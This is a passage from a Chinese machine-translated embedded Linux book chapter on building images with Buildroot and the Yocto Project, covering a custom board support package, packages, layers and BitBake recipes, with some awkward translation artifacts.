-udhcpc: sending discover -udhcpc: sending select for 10.0.2.15 -udhcpc: lease of 10.0.2.15 obtained, lease time 86400 -deleting routers -random: mktemp: uninitialized urandom read (6 bytes read) -adding dns 10.0.2.3 -OK -Welcome to Buildroot -buildroot login: -``` - -以`root`身份登录,无密码。 - -您将看到除了显示内核引导消息的窗口外,QEMU 还会启动一个黑色窗口。 它用于显示目标的图形帧缓冲区。 在这种情况下,目标从不写入帧缓冲区,这就是它显示为黑色的原因。 要关闭 QEMU,请按*Ctrl+Alt+2*进入 QEMU 控制台,然后键入`quit`,或者只需关闭帧缓冲区窗口。 - -## 瞄准真实硬件 - -为 Raspberry PI 4 配置和构建可引导映像的步骤几乎与 ARM QEMU 相同: - -```sh -$ cd buildroot -$ make clean -$ make raspberrypi4_64_defconfig -$ make -``` - -构建完成后,映像将写入名为`outpimg/sdcard.img`的文件。 用于写入镜像文件的`post-image.sh`脚本和`genimage-raspberrypi4-64.cfg`配置文件都位于`board/raspberrypi/`目录中。 要将`sdcard.img`写入 microSD 卡并在 Raspberry PI 4 上引导它,请执行以下步骤: - -1. 将 microSD 卡插入 Linux 主机。 -2. 启动 Etcher。 -3. 从 Etcher 的文件中单击**闪存。** -4. 找到您为 Raspberry PI 4 构建的`sdcard.img`图像并打开它。 -5. 单击**从 Etcher 选择目标**。 -6. 选择您在*步骤 1*中插入的 microSD 卡。 -7. 从 Etcher 单击**Flash**以写入图像。 -8. 当 Etcher 完成闪烁时,弹出 microSD 卡。 -9. 将 microSD 卡插入您的 Raspberry PI 4。 -10. 通过 USB-C 端口为 Raspberry PI 4 通电。 - -将 PI 4 插入以太网并观察网络活动指示灯闪烁,以确认 PI 4 已成功引导。 为了将`ssh`添加到您的 PI4 中,您需要将`dropbear`或`openssh`这样的 SSH 服务器添加到您的 Buildroot 映像配置中。 - -## 创建自定义 BSP - -接下来,让我们使用 Buildroot 为我们的 Nova 主板创建一个**主板支持包(BSP)**,使用前面章节中的相同版本的 U-Boot 和 Linux。 您可以在`MELP/Chapter06/buildroot`中看到我在本节中对 Buildroot 所做的更改。 - -以下是存储更改的推荐位置: - -* `board//`:它包含任何补丁、二进制 BLOB、额外的构建步骤、Linux、U-Boot 和其他组件的配置文件。 -* `configs/_defconfig`:这包含电路板的默认配置。 -* `package//`:这是您可以放置该电路板的任何附加包裹的地方。 - -让我们首先创建一个目录来存储 Nova 主板的更改: - -```sh -$ mkdir -p board/melp/nova -``` - -接下来,从以前的任何构建中清除工件,这是在更改配置时应该始终执行的操作: - -```sh -$ make clean -``` - -现在,选择 Beaglebone 的配置,我们将使用它作为 Nova 配置的基础: - -```sh -$ make beaglebone_defconfig -``` - -`make beaglebone_defconfig`命令将 Buildroot 配置为构建以 Beaglebone Black 为目标的映像。 这个配置是一个很好的起点,但是我们仍然需要为我们的 Nova 主板定制它。 让我们首先选择我们为 Nova 创建的自定义 U-Boot 补丁。 - -### U-Boot - -在[*第 3 章*](03.html#_idTextAnchor061),*All About Bootloaders*中,我们基于 U-Boot 的`2021.01`版本为 Nova 创建了一个自定义引导加载程序,并为其创建了一个补丁文件,您可以在`MELP/Chapter03/0001-BSP-for-Nova.patch`中找到。 我们可以将 Buildroot 配置为选择相同的版本并应用我们的补丁。 首先将补丁文件复制到`board/melp/nova`,然后使用`make menuconfig`将 U-Boot 版本设置为`2021.01`,将补丁文件设置为`board/melp/nova/0001-BSP-for-Nova.patch`,将板名设置为 Nova,如以下截图所示: - -![Figure 6.1 – Selecting custom U-Boot patches](img/B11566_06_01.jpg) - -图 6.1-选择自定义 U-Boot 补丁程序 - -我们还需要一个 U-Boot 脚本来从 -SD 卡加载 Nova 设备树和内核。 我们可以将文件放入`board/melp/nova/uEnv.txt`。 它应该包含以下命令: - -```sh -bootpart=0:1 -bootdir= -bootargs=console=ttyO0,115200n8 root=/dev/mmcblk0p2 rw rootfstype=ext4 rootwait -uenvcmd=fatload mmc 0:1 88000000 nova.dtb;fatload mmc 0:1 82000000 zImage;bootz 82000000 - 88000000 -``` - -请注意,尽管可以看到换行,但`bootargs`和`uenvcmd`都是在单行上定义的。 `rootfstype=ext4 rootwait`是`bootargs`的一部分,而`bootz 82000000 - 88000000`是`uenvcmd`的一部分。 - -现在我们已经修补并配置了 Nova 主板的 U-Boot,下一步是修补和配置内核。 - -### Linux 操作系 - -在[*第 4 章*](04.html#_idTextAnchor085),*配置和构建内核*中,我们将内核建立在 Linux 5.4.50 上,并提供了一个新的设备树,位于`MELP/Chapter04/nova.dts`中。 将设备树复制到`board/melp/nova`,将 Buildroot 内核配置更改为 Linux 版本 5.4,并将设备树源更改为`board/melp/nova/nova.dts`,如以下截图所示: - -![Figure 6.2 – Selecting the device tree source](img/B11566_06_02.jpg) - -图 6.2-选择设备树源 - -我们还必须更改用于内核头的内核系列,以便它们与正在构建的内核相匹配: - -![Figure 6.3 – Selecting custom kernel headers](img/B11566_06_03.jpg) - -图 6.3-选择自定义内核头 - -现在我们已经完成了这项工作,现在让我们构建系统映像,包括内核和 -根文件系统。 - -### 委托建造 / 建立 / 安装 / 编 - -在构建的最后阶段,Buildroot 使用名为`genimage`的工具为 SD 卡创建镜像,我们可以将目录复制到该卡。 我们需要一个配置文件来以正确的方式布局图像。 我们将文件命名为`board/melp/nova/genimage.cfg`并填充它,如下所示: - -```sh -image boot.vfat { -    vfat { -        files = { -            "MLO", -            "u-boot.img", -            "zImage", -            "uEnv.txt", -            "nova.dtb", -        } -    } -    size = 16M -} -image sdcard.img { -    hdimage { -    } -    partition u-boot { -        partition-type = 0xC -        bootable = "true" -        image = "boot.vfat" -    } -    partition rootfs { -        partition-type = 0x83 -        image = "rootfs.ext4" -        size = 512M -    } -} -``` - -这将创建名为`sdcard.img`的文件,其中包含名为 -`u-boot`和`rootfs`的两个分区。 第一个文件包含`boot.vfat`中列出的引导文件,第二个文件包含名为`rootfs.ext4`的根文件系统映像,它将由 Buildroot 生成。 - -最后,我们需要创建一个`post-image.sh`脚本,该脚本将调用`genimage`,从而创建 SD 卡映像。 我们将把它放在`board/melp/nova/post-image.sh`中: - -```sh -#!/bin/sh -BOARD_DIR="$(dirname $0)" -cp ${BOARD_DIR}/uEnv.txt $BINARIES_DIR/uEnv.txt -GENIMAGE_CFG="${BOARD_DIR}/genimage.cfg" -GENIMAGE_TMP="${BUILD_DIR}/genimage.tmp" -rm -rf "${GENIMAGE_TMP}" -genimage \ -    --rootpath "${TARGET_DIR}" \ -    --tmppath "${GENIMAGE_TMP}" \ -    --inputpath "${BINARIES_DIR}" \ -    --outputpath "${BINARIES_DIR}" \ -    --config "${GENIMAGE_CFG}" -``` - -这会将`uEnv.txt`脚本复制到`output/images`目录中,并使用我们的配置文件运行`genimage`。 - -请注意,`post-image.sh`需要是可执行的;否则,构建将在最后失败: - -```sh -$ chmod +x board/melp/nova/post-image.sh -``` - -现在,我们可以再次运行`make menuconfig`并深入页面。 在该页面中,向下导航到要在创建文件系统映像之前运行的**自定义脚本,然后输入我们的`post-image.sh`脚本的路径,如以下屏幕截图所示:** - -![Figure 6.4 – Selecting custom scripts to run after creating filesystem images](img/B11566_06_04.jpg) - -图 6.4-选择创建文件系统映像后要运行的自定义脚本 - -最后,您只需输入`make`就可以为 Nova 板构建 Linux。 当它完成时,您将在`outpimg/`目录中看到这些文件(以及一些附加的 DBS): - -```sh -nova.dtb      sdcard.img      rootfs.ext2        u-boot.img -boot.vfat     rootfs.ext4     uEnv.txt           MLO -rootfs.tar    bzImage -``` - -要测试它,请将 microSD 卡插入读卡器并使用 Etcher 将 -`outpimg/sdcard.img`写入 SD 卡,就像我们对 Raspberry PI 4 所做的那样。没有必要像我们在上一章中所做的那样预先格式化 microSD,因为`genimage`已经创建了所需的精确磁盘布局。 - -Etcher 完成后,将 microSD 卡插入 Beaglebone Black,并在按下 Switch Boot 按钮的同时打开 -,以强制其从 SD 卡加载。 您应该看到,它与我们选择的 U-Boot、Linux 版本以及 -Nova 设备树一起启动。 - -在证明我们的 Nova 主板自定义配置有效之后,最好保留一份配置副本,以便您和其他人可以再次使用它,您可以使用以下命令: - -```sh -$ make savedefconfig BR2_DEFCONFIG=configs/nova_defconfig -``` - -现在,您有了 Nova 板的 Buildroot 配置。 随后,您可以通过键入以下命令检索此配置: - -```sh -$ make nova_defconfig -``` - -我们已成功配置 Buildroot。 现在,如果您想要向其中添加您自己的代码,该怎么办呢? 我们将在下一节中学习如何做到这一点。 - -## 添加您自己的代码 - -假设您已经开发了一个程序,并且您想要将其包含在构建中。 您有两个选择:首先,您可以使用它自己的构建系统单独构建它,然后将二进制文件作为覆盖层滚动到最终构建中。 其次,您可以创建一个 Buildroot 包,该包可以从菜单中选择并像构建其他包一样进行构建。 - -### 叠加层 - -覆盖只是一种目录结构,它在构建过程的后期阶段被复制到 Buildroot 根文件系统的顶部。 它可以包含可执行文件、库以及您可能想要包含的任何其他内容。 请注意,任何编译的代码都必须与运行时部署的库兼容,这又意味着它必须使用 Buildroot 使用的同一工具链进行编译。 使用 Buildroot 工具链非常简单。 只需将其添加到`PATH`: - -```sh -$ PATH=/output/host/usr/bin:$PATH -``` - -工具链的前缀是`-linux-`。 因此,要编译一个简单的程序,您需要执行以下操作: - -```sh -$ PATH=/home/frank/buildroot/output/host/usr/bin:$PATH -$ arm-linux-gcc helloworld.c -o helloworld -``` - -使用正确的工具链编译程序后,只需将可执行文件和其他支持文件安装到临时区域,然后将其标记为 Buildroot 的覆盖文件。 对于`helloworld`示例,您可以将其放在`board/melp/nova`目录中: - -```sh -$ mkdir -p board/melp/nova/overlay/usr/bin -$ cp helloworld board/melp/nova/overlay/usr/bin -``` - -最后,将`BR2_ROOTFS_OVERLAY`设置为指向覆盖的路径。 可以在`menuconfig`中使用**系统配置|根文件系统覆盖目录**选项进行配置。 - -### 添加包 - -Buildroot 软件包(超过 2000 个)存储在`package`目录中,每个都在自己的子目录中。 包至少由两个文件组成:`Config.in`,它包含使包在配置菜单中可见所需的 Kconfig 代码片段;以及一个名为`.mk`的 Makefile。 - -重要音符 - -请注意,Buildroot 包不包含代码,只包含通过下载 tarball、执行`git pull`或获取上游源代码所需的任何操作来获取代码的指令。 - -Makefile 以 Buildroot 期望的格式编写,并包含允许 Buildroot 下载、配置、编译和安装程序的指令。 编写新的软件包 Makefile 是一项复杂的操作,在 Buildroot 用户手册:[https://buildroot.org/downloads/manual/manual.html](https://buildroot.org/downloads/manual/manual.html)中详细介绍了*。 下面的示例向您展示了如何为本地存储的简单程序(如我们的`helloworld`程序)创建包。* - -首先,使用配置文件`Config.in`创建`package/helloworld/`子目录,如下所示: - -```sh -config BR2_PACKAGE_HELLOWORLD -    bool "helloworld" -    help -      A friendly program that prints Hello World! Every 10s -``` - -第一行必须是`BR2_PACKAGE_`格式。 后跟`bool`和软件包名称,因为它将出现在配置菜单中,这将允许用户选择该软件包。 `help`部分是可选的,但通常是个好主意,因为它起到了自我文档的作用。 - -接下来,通过编辑`package/Config.in`并获取配置文件,将新包链接到**目标包**菜单,如下所示: - -```sh -menu "My programs" -      source "package/helloworld/Config.in" -endmenu -``` - -您可以将这个新的`helloworld`包附加到现有的子菜单中,但是创建一个新的子菜单(它只包含我们的包)并将其插入到`menu "Audio and video applications"`之前会更简单。 - -将`menu "My programs"`插入`package/Config.in`后,创建 Makefile`package/helloworld/helloworld.mk`,以提供 Buildroot 所需的数据: - -```sh -HELLOWORLD_VERSION = 1.0.0 -HELLOWORLD_SITE = /home/frank/MELP/Chapter06/helloworld -HELLOWORLD_SITE_METHOD = local -define HELLOWORLD_BUILD_CMDS -    $(MAKE) CC="$(TARGET_CC)" LD="$(TARGET_LD)" -C $(@D) all -endef -define HELLOWORLD_INSTALL_TARGET_CMDS -    $(INSTALL) -D -m 0755 $(@D)/helloworld $(TARGET_DIR)/usr/bin/helloworld -endef -$(eval $(generic-package)) -``` - -您可以在本书的`MELP/Chapter06/buildroot/package/helloworld`中找到我的`helloworld`包,在`MELP/Chapter06/helloworld`中找到该程序的源代码。 代码的位置被硬编码为本地路径名。 在更接近的情况下,您可以从源代码系统或某种中央服务器获取代码:在*Buildroot 用户手册*中有关于如何做到这一点的详细信息,其他包中也有大量示例。 - -## 许可证合规性 - -Buildroot 基于一款开源软件,它编译的包也是如此。 在项目期间的某个点,您应该检查许可证,这可以通过运行以下命令来完成: - -```sh -$ make legal-info -``` - -信息被收集到`output/legal-info/`中。 这里有用于编译`host-manifest.csv`中的主机工具和目标上的`manifest.csv`中的主机工具的许可证摘要。 在`README`文件和*Buildroot -用户手册*中有更多信息。 - -我们将在[*第 14 章*](14.html#_idTextAnchor411)、*中从 BusyBox Runit*开始再次访问 Buildroot。 现在,让我们切换构建系统,开始学习 Yocto 项目。 - -# 介绍 Yocto 项目 - -Yocto 项目比 Buildroot 更复杂。 它不仅可以像 Buildroot 那样构建工具链、引导加载程序、内核和根文件系统,还可以使用可以在运行时安装的二进制软件包为您生成整个 Linux 发行版。 构建过程是围绕菜谱组构建的,类似于 Buildroot 包,但使用 Python 和 shell 脚本的组合编写。 Yocto 项目包括一个名为**BitBake**的任务调度器,它可以根据食谱生成。 在[https://www.yoctoproject.org](https://www.yoctoproject.org)上有大量的在线文档。 - -## 背景 - -如果你先看看背景,尤克托项目的结构就更有意义了。 它的根源是**OpenEmbedded**([Linux](https://openembedded.org)),它反过来又源于个将 https://openembedded.org 移植到各种手持计算机上的项目,包括 Sharp Zaurus 和 Compaq iPaq。 OpenEmbedded 作为掌上电脑的构建系统于 2003 年问世。 不久之后,其他开发人员开始将其用作运行嵌入式 Linux 的设备的通用构建系统。 它是由一个热情的程序员社区开发的,而且还在继续开发。 - -OpenEmbedded 项目开始使用紧凑的 IPK 格式创建一组二进制包,然后可以通过各种方式组合这些包来创建目标系统,并在运行时将其安装在目标系统上。 它通过为每个包创建食谱并使用 BitBake 作为任务调度器来做到这一点。 它过去是,现在也是非常灵活的。 通过提供正确的元数据,您可以根据自己的规范创建整个 Linux 发行版。 一个相当有名的是**ängström 分布**,但还有许多其他的分布。 - -在 2005 年的某个时候,当时在 OpenedHand 担任开发人员的 Richard Purdie 创建了 OpenEmbedded 的分支,它对包的选择更为保守,并创建了在一段时间内稳定的发行版。 他以日本小吃命名为**poky**(如果你担心这些事情,poky 的发音与曲棍球押韵)。 虽然 POKY 是一个分支,但 OpenEmbedded 和 POKY 继续并驾齐驱,共享更新,使架构或多或少保持同步。 英特尔在 2008 年收购了 OpenedHand,并在 2010 年将 Poky Linux 转移到 Linux 基金会,当时他们成立了 Yocto 项目。 - -从 2010 年开始,OpenEmbedded 和 POKY 的通用组件被合并到一个名为**OpenEmbedded Core**或简称为**OE-Core**的单独项目中。 - -因此,Yocto 项目收集了几个组件,其中最重要的组件如下: - -* **OE-Core**:这是核心元数据,与 OpenEmbedded 共享。 -* **BitBake**:这是任务调度器,与 OpenEmbedded 和 - 其他项目共享。 -* **poky**:这是参考分布。 -* **文档**:这是 - 每个组件的用户手册和开发人员指南。 -* **Toaster**:这是 BitBake 及其元数据的基于 Web 的界面。 - -Yocto 项目提供了一个稳定的基础,它可以按原样使用,也可以使用**元层**进行扩展,我将在本章后面讨论这一点。 许多 SoC 供应商以这种方式为他们的设备提供 BSP。 元层也可以用来创建扩展的或仅仅不同的构建系统。 其中一些是开源的,比如ängström 发行版,而另一些是商业的,比如 MontaVista 运营商级版、Mentor Embedded Linux 和 Wind River Linux。 Yocto 项目有一个品牌和兼容性测试方案,以确保组件之间具有互操作性。 你会在不同的网页上看到诸如“Yocto Project Compatible”这样的声明。 - -因此,您应该将 Yocto 项目视为整个嵌入式 Linux 部门的基础,并且本身就是一个完整的构建系统。 - -笔记 / 便条 / 票据 / 注解 - -你可能想知道这个名字,Yocto。 *Yocto*是 10-24, -的 SI 前缀,与*Micro*是 10-6 的方式相同。 为什么给这个项目取名为 Yocto? 这在一定程度上表明,它可以构建非常小的 Linux 系统(尽管,公平地说,其他构建系统也可以),但也是为了抢占基于 OpenEmbedded 的ängström 发行版的先机。 Aóngström 是 10-10。 这是巨大的,与*Yocto*相比! - -## 稳定的版本和支持 - -通常,Yocto 项目每 6 个月发布一次:在 4 月和 10 月。 它们主要是通过它们的代号来知道的,但是知道 Yocto 项目和 POKY 的版本号也是很有用的。 以下是撰写本文时的六个最新版本的表格: - - -| **代码名称** | **发布日期** | **Yocto 版本** | **POKY 版本** | -| ♪Gatesgarth♪ | 2020 年 10 月 | 3.2 | 24 个 | -| 邓费尔 | 2020 年 4 月 | 3.1 | 23 个 | -| 宙斯 | 2019 年 10 月 | 3.0 | 22 | -| 勇士 / 经验丰富的战士 / 武士 / 鼓吹战争的人 | 2019 年 4 月 | 2.7 | 21 岁 | -| 嘿,嘿。 | 2018 年 11 月 | 2.6 | 20 个 | -| 相扑 | 2018 年 4 月 | 2.5 | 19 个 | - -稳定版本支持当前发布周期和下一个发布周期的安全和关键错误修复。 换句话说,每个版本在发布后大约 12 个月内都受到支持。 此外,邓费尔是 Yocto 的第一个 LTS 版本。 LTS 指定意味着邓费尔将获得延长 2 年的缺陷修复和更新。 因此,未来的计划是选择每两年发布一次 Yocto 项目的 LTS 版本。 - -与 Buildroot 一样,如果您需要继续支持,可以更新到下一个稳定版本,或者向后移植到您的版本的更改。 您还可以选择由 Mentor Graphics、Wind River 等操作系统供应商为 Yocto 项目提供为期数年的商业支持。 现在,让我们学习如何安装 Yocto 项目。 - -## 安装 Yocto 项目 - -要获得 Yocto 项目的副本,请克隆存储库,选择代码名作为分支,在本例中为`dunfell`: - -```sh -$ git clone -b dunfell git://git.yoctoproject.org/poky.git -``` - -定期运行`git pull`以从远程分支获取最新的错误修复和安全补丁是一种很好的做法。 - -阅读*Yocto 项目快速构建*指南([https://www.yoctoproject.org/docs/current/brief-yoctoprojectqs/brief-yoctoprojectqs.html](https://www.yoctoproject.org/docs/current/brief-yoctoprojectqs/brief-yoctoprojectqs.html))的*兼容 Linux 发行版*和*构建主机包*部分。 确保您的主机上安装了 Linux 发行版的基本软件包。 下一步是配置。 - -## 配置 - -与 Buildroot 一样,让我们从构建 QEMU ARM 仿真器开始。 首先寻找一个脚本来设置环境 NT: - -```sh -$ source poky/oe-init-build-env -``` - -这将为您创建一个名为`build/`的工作目录,并使其成为当前目录。 所有配置以及任何中间和目标图像文件 -都将放在此目录中。 每次要处理此项目时,您都必须获取此脚本。 - -您可以选择不同的工作目录,方法是将其作为参数添加到 -`oe-init-build-env`;例如: - -```sh -$ source poky/oe-init-build-env build-qemuarm -``` - -这将使您进入`build-qemuarm/`目录。 通过这种方式,您可以拥有多个构建目录,每个目录对应一个不同的项目:您可以通过传递给`oe-init-build-env`的参数选择要使用的构建目录。 - -最初,build 目录只包含一个名为`conf/`的子目录,该子目录包含此项目的以下配置文件: - -* `local.conf`:这包含要构建的设备和构建环境的规范。 -* `bblayers.conf`:它包含要使用的元层的路径。 稍后我将描述各个层次。 - -目前,我们只需要通过删除该行开头的注释字符(`#`)将`conf/local.conf`中的`MACHINE`变量设置为`qemuarm`: - -```sh -MACHINE ?= "qemuarm" -``` - -现在,我们准备使用 Yocto 构建我们的第一个映像。 - -## 建筑 - -要实际执行构建,您需要运行 BitBake,告诉它您想要创建哪个根文件系统映像。 一些常见的图像如下所示: - -* `core-image-minimal`:这是一个基于控制台的小型系统,可用于测试,也可作为自定义映像的基础。 -* `core-image-minimal-initramfs`:这类似于`core-image-minimal`,但构建为内存磁盘。 -* `core-image-x11`:这是一个基本图像,通过 X11 服务器和`xterminal`终端应用支持图形。 -* `core-image-full-cmdline`:此基于控制台的系统提供标准 CLI 体验和对目标硬件的全面支持。 - -通过将 BitBake 作为最终目标,它将向后工作,并首先从工具链开始构建所有依赖项。 目前,我们只想创建一个最小的映像,看看它是如何工作的: - -```sh -$ bitbake core-image-minimal -``` - -构建可能需要一些时间(可能超过一个小时),即使有几个 CPU 内核和大量 RAM 也是如此。 它将下载大约 10GiB 的源代码,并消耗大约 40GiB 的磁盘空间。 完成后,您将在 Build 目录中找到几个新目录,包括`downloads/`和`tmp/`,其中`downloads/`包含为构建下载的所有源代码,`tmp/`包含大多数构建构件。 您应该在`tmp/`中看到以下内容: - -* `work/`:它包含根文件系统的构建目录和临时区域。 -* `deploy/`: This contains the final binaries to be deployed on the target: - - `deplimg/[machine name]/`:包含准备在目标系统上运行的引导加载程序、内核和根文件系统映像。 - - `deploy/rpm/`:它包含组成映像的 RPM 包。 - - `deploy/licenses/`:它包含从每个软件包提取的许可证文件。 - -当构建完成后,我们可以在 QEMU 上引导完成的映像。 - -## 运行 QEMU 目标 - -当您构建 QEMU 目标时,会生成 QEMU 的内部版本,这样就不再需要为您的发行版安装 QEMU 包,从而避免了版本依赖。 我们可以使用名为`runqemu`的包装器脚本来运行此版本的 QEMU。 - -要运行 QEMU 仿真,请确保您已经获取了`oe-init-build-env`,然后只需键入以下内容: - -```sh -$ runqemu qemuarm -``` - -在本例中,QEMU 配置了图形控制台,登录提示符出现在黑色帧缓冲区中,如以下截图所示: - -![Figure 6.5 – QEMU graphic console](img/B11566_06_05.jpg) - -图 6.5-QEMU 图形控制台 - -以`root`身份登录,无需密码。 要关闭 QEMU,请关闭帧缓冲区窗口。 - -要在没有图形窗口的情况下启动 QEMU,请在命令行中添加`nographic`: - -```sh -$ runqemu qemuarm nographic -``` - -在这种情况下,使用键序列*Ctrl+A*,然后按*x*关闭 QEMU。 - -`runqemu`脚本有许多其他选项。 键入`runqemu help`以了解详细信息。 - -## 层 - -Yocto 项目的元数据被组织成层。 按照惯例,每个层都有一个以`meta`开头的名称。 Yocto 计划的核心层如下: - -* `meta`:这是 OpenEmbedded 内核,包含对 poky 的一些更改。 -* `meta-poky`:这是特定于 POKY 分布的元数据。 -* `meta-yocto-bsp`:本包含 Yocto 项目支持的机器的主板支持包。 - -BitBake 搜索食谱的层列表存储在`/conf/bblayers.conf`中,默认情况下包括前面列表中提到的所有三个层。 - -通过以这种方式组织食谱和其他配置数据,很容易通过添加新层来扩展 Yocto 项目。 可以从 -SoC 制造商、Yocto 项目本身以及希望 -为 Yocto 项目和 OpenEmbedded 增加价值的广泛人员那里获得附加层。 在[http://layers.openembedded.org/layerindex/](http://layers.openembedded.org/layerindex/)有一个有用的层列表。 以下是一些例子: - -* `meta-qt5`:qt 5 库和实用程序 -* `meta-intel`:面向英特尔 CPU 和 SoC 的 BSP -* `meta-raspberrypi`:覆盆子 PI 板的 BSP -* `meta-ti`:用于 TI 基于 ARM 的 SoC 的 BSP - -添加层非常简单,只需将`meta`目录复制到合适的位置并将其添加到`bblayers.conf`即可。 确保阅读每个层应该附带的`REAMDE`文件,以查看它对其他层有哪些依赖关系,以及它与哪些版本的 Yocto Project 兼容。 - -为了说明层的工作方式,让我们为 Nova 板创建一个层,我们可以在添加功能时在本章的其余部分使用它。 您可以在`MELP/Chapter06/meta-nova`的代码归档中查看该层的完整实现。 - -每个 meta 层必须至少有一个名为`conf/layer.conf`的配置文件,它还应该有`README`文件和许可证。 - -要创建我们的`meta-nova`层,请执行以下步骤: - -```sh -$ source poky/oe-init-build-env build-nova -$ bitbake-layers create-layer nova -$ mv nova ../meta-nova -``` - -这将把您放到一个名为`build-nova`的工作目录中,并在`COPYING.MIT`中创建一个名为`meta-nova`的层,其中包含一个`conf/layer.conf`、一个轮廓`README`和一个`MIT LICENSE`。 `layer.conf`文件如下所示: - -```sh -# We have a conf and classes directory, add to BBPATH -BBPATH .= ":${LAYERDIR}" -# We have recipes-* directories, add to BBFILES -BBFILES += "${LAYERDIR}/recipes-*/*/*.bb \ -            ${LAYERDIR}/recipes-*/*/*.bbappend" -BBFILE_COLLECTIONS += "nova" -BBFILE_PATTERN_nova = "^${LAYERDIR}/" -BBFILE_PRIORITY_nova = "6" -LAYERDEPENDS_nova = "core" -LAYERSERIES_COMPAT_nova = "dunfell" -``` - -它将自身添加到`BBPATH`,并将其包含的配方添加到`BBFILES`。 通过查看代码,您可以在名称以`recipes-`开头的目录中找到食谱,其文件名以`.bb`(对于普通的 BitBake 食谱)或`.bbappend`(对于通过覆盖或添加指令来扩展现有食谱的食谱)结尾。 该层的名称为`nova`,已添加到`BBFILE_COLLECTIONS`中的层列表中,并且优先级为`6`。 如果相同的配方出现在多个层中,则使用该层的优先级:优先级最高的层中的那个取胜。 - -现在,您需要使用以下命令将该层添加到构建配置中: - -```sh -$ bitbake-layers add-layer ../meta-nova -``` - -确保在采购该环境后从`build-nova`工作目录运行此命令。 - -您可以确认您的层结构设置正确,如下所示: - -```sh -$ bitbake-layers show-layers -NOTE: Starting bitbake server... -layer            path                               priority -============================================================== -meta             /home/frank/poky/meta                     5 -meta-poky        /home/frank/poky/meta-poky                5 -meta-yocto-bsp   /home/frank/poky/meta-yocto-bsp           5 -meta-nova        /home/frank/meta-nova                     6 -``` - -在这里,您可以看到新图层。 它的优先级为`6`,这意味着我们可以覆盖其他层中的食谱,这些层的优先级都较低。 - -此时,使用该空层运行构建将是一个好主意。 最终目标将是 Nova 董事会,但目前,通过取消`conf/local.conf`中的`MACHINE ?= "beaglebone-yocto"`注释来构建 Beaglebone Black。 然后,使用`bitbake core-image-minimal`构建一个小映像,就像您之前所做的那样。 - -除了食谱之外,层还可以包含 BitBake 类、机器的配置文件、分发版本等等。 接下来,我将介绍食谱,并向您展示如何创建自定义图像以及如何创建包。 - -### BitBake 和食谱 - -BitBake 处理几种不同类型的元数据,包括: - -* **配方**:以`.bb`结尾的文件。 这些文档包含有关构建软件单元的信息,包括如何获取源代码副本、其他组件的依赖关系以及如何构建和安装它。 -* **追加**:以`.bbappend`结尾的文件。 这些允许覆盖或扩展食谱的某些细节。 `bbappend`文件只是将其指令附加到具有相同根名称的配方(`.bb`)文件的末尾。 -* **包含**:以`.inc`结尾的文件。 这些食谱包含多个食谱共有的信息,允许它们之间共享信息。 可以使用**INCLUDE**或**REQUIRED**关键字包括文件。 不同之处在于,如果文件不存在,则`require`会产生错误,而`include`则不存在。 -* **CLASS**:以`.bbclass`结尾的文件。 这些文件包含常见的构建信息;例如,如何构建内核或如何构建 AutoTools 项目。 这些类是使用`inherit`关键字在配方和其他类中继承和扩展的。 在每个配方中都隐式继承了`classes/base.bbclass`类。 -* **配置**:以`.conf`结尾的文件。 它们定义了控制项目构建过程的各种配置变量。 - -菜谱是用 Python 和 Shell 脚本的组合编写的任务集合。 任务的名称为`do_fetch`、`do_unpack`、`do_patch`、`do_configure`、`do_compile`和`do_install`。 您可以使用 BitBake 执行这些任务。 默认任务是`do_build`,它执行构建配方所需的所有子任务。 您可以使用`bitbake -c listtasks [recipe]`列出配方中可用的任务。 例如,您可以按如下方式列出`core-image-minimal`中的任务: - -```sh -$ bitbake -c listtasks core-image-minimal -``` - -重要音符 - -`-c`选项告诉 BitBake 运行配方中的特定任务,而不必在任务名称的开头包含`do_`部分。 - -`do_listtasks`任务只是一个特殊任务,它列出了配方中定义的所有任务。 另一个例子是`fetch`任务,它下载食谱的源代码: - -```sh -$ bitbake -c fetch busybox -``` - -要获取目标及其所有依赖项的代码,这在您希望确保已下载要构建的映像的所有代码时非常有用,请使用以下命令: - -```sh -$ bitbake core-image-minimal --runall=fetch -``` - -配方文件通常命名为`_.bb`。 它们可能依赖于其他食谱,这将允许 BitBake 计算出完成顶级作业所需执行的所有子任务。 - -例如,要在`meta-nova`中为我们的`helloworld`程序创建配方,您将创建如下目录结构: - -```sh -meta-nova/recipes-local/helloworld -├── files -│   └── helloworld.c -└── helloworld_1.0.bb -``` - -配方是`helloworld_1.0.bb`,源是`files/`子目录中配方目录的本地。 食谱包含以下说明: - -```sh -DESCRIPTION = "A friendly program that prints Hello World!" -PRIORITY = "optional" -SECTION = "examples" -LICENSE = "GPLv2" -LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/GPL-2.0;md5=801f80980d171dd6425610833a22dbe6" -SRC_URI = "file://helloworld.c" -S = "${WORKDIR}" -do_compile() { -    ${CC} ${CFLAGS} ${LDFLAGS} helloworld.c -o helloworld -} -do_install() { -    install -d ${D}${bindir} -    install -m 0755 helloworld ${D}${bindir} -} -``` - -源代码的位置由`SRC_URI`设置。 在本例中,`file://`URI 表示代码是`recipe`目录的本地代码。 BitBake 将相对于包含配方的目录搜索`files/`、`helloworld/`和`helloworld-1.0/`目录。 需要定义的任务是`do_compile`和`do_install`, -,它们编译源文件并将其安装到目标根文件系统中:`${D}`将 -扩展到配方的登台区,`${bindir}`扩展到默认的二进制目录;即 -`/usr/bin`。 - -每个食谱都有一个许可证,由`LICENSE`定义,此处设置为`GPLv2`。 包含许可证文本和校验和的文件由`LIC_FILES_CHKSUM`定义。 如果校验和不匹配,BitBake 将终止构建,这表明许可证已以某种方式更改。 请注意,MD5 校验和值和`COMMON_LICENSE_DIR`在同一行,由分号分隔。 许可证文件可能是软件包的一部分,也可能指向`meta/files/common-licenses/`中的标准许可证文本之一,就像这里的情况一样。 - -默认情况下,商业许可证是不允许的,但启用它们很容易。 您需要在食谱中指定许可证,如下所示: - -```sh -LICENSE_FLAGS = "commercial" -``` - -然后,在您的`conf/local.conf`文件中,您将明确允许此许可证,如下所示: - -```sh -LICENSE_FLAGS_WHITELIST = "commercial" -``` - -现在,为了确保我们的`helloworld`配方正确编译,您可以要求 BitBake 构建它,如下所示: - -```sh -$ bitbake helloworld -``` - -如果一切正常,您应该看到它已经在`tmp/work/cortexa8hf-neon-poky-linux-gnueabi/helloworld/`中为其创建了一个工作目录。 您还应该看到,在`tmp/deploy/rpm/cortexa8hf_neon/helloworld-1.0-r0.cortexa8hf_neon.rpm`中有一个用于它的 RPM 包。 - -不过,它还不是目标图像的一部分。 要安装的软件包列表保存在名为`IMAGE_INSTALL`的变量中。 通过将此行添加到`conf/local.conf`,可以将其附加到该列表的末尾: - -```sh 